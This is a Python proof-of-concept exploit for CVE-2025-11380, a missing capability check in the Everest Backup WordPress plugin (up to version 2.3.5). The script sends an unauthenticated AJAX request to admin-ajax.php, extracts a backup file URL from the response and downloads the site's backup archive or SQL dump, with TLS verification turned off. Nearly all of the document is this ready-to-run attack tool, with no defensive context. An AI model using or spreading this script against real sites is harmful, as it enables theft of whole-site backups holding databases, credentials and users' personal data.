CVE-2025-11380

#!/usr/bin/env python3 # CVE-2025-11380 - Everest Backup Plugin Unauthorized Access PoC # Exploits missing capability check on 'everest_process_status' AJAX action import requests import sys import re from urllib.parse import urljoin def exploit(target_url): """ Exploit CVE-2025-11380 to retrieve backup file location from WordPress sites running Everest Backup plugin <= 2.3.5 """ # Step 1: Send unauthenticated AJAX request to retrieve backup status ajax_endpoint = urljoin(target_url, '/wp-admin/admin-ajax.php') payload = { 'action': 'everest_process_status' } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'X-Requested-With': 'XMLHttpRequest' } print(f"[*] Targeting: {target_url}") print(f"[*] Sending AJAX request to: {ajax_endpoint}") try: response = requests.post( ajax_endpoint, data=payload, headers=headers, timeout=10, verify=False ) if response.status_code == 200 and response.text: print(f"[+] Response received:") print(response.text) # Step 2: Extract backup file URL/path from response # The response may contain backup file location in JSON or HTML backup_url_match = re.search( r'(https?://[^"\s<>]+\.(?:zip|tar\.gz|sql))', response.text ) if backup_url_match: backup_url = backup_url_match.group(1) print(f"[+] Backup file URL found: {backup_url}") # Step 3: Download the backup file print(f"[*] Downloading backup file...") backup_response = requests.get(backup_url, timeout=30, verify=False) if backup_response.status_code == 200: filename = backup_url.split('/')[-1] with open(filename, 'wb') as f: f.write(backup_response.content) print(f"[+] Backup saved to: {filename}") print(f"[+] File size: {len(backup_response.content)} bytes") return True else: print(f"[-] Failed to download backup: HTTP {backup_response.status_code}") else: print("[-] No backup URL pattern found in response") # The backup might not be currently running print("[*] Note: A backup must be in progress for exploitation") else: print(f"[-] Request failed: HTTP {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url>") print(f"Example: {sys.argv[0]} https://target-wordpress-site.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit(target)

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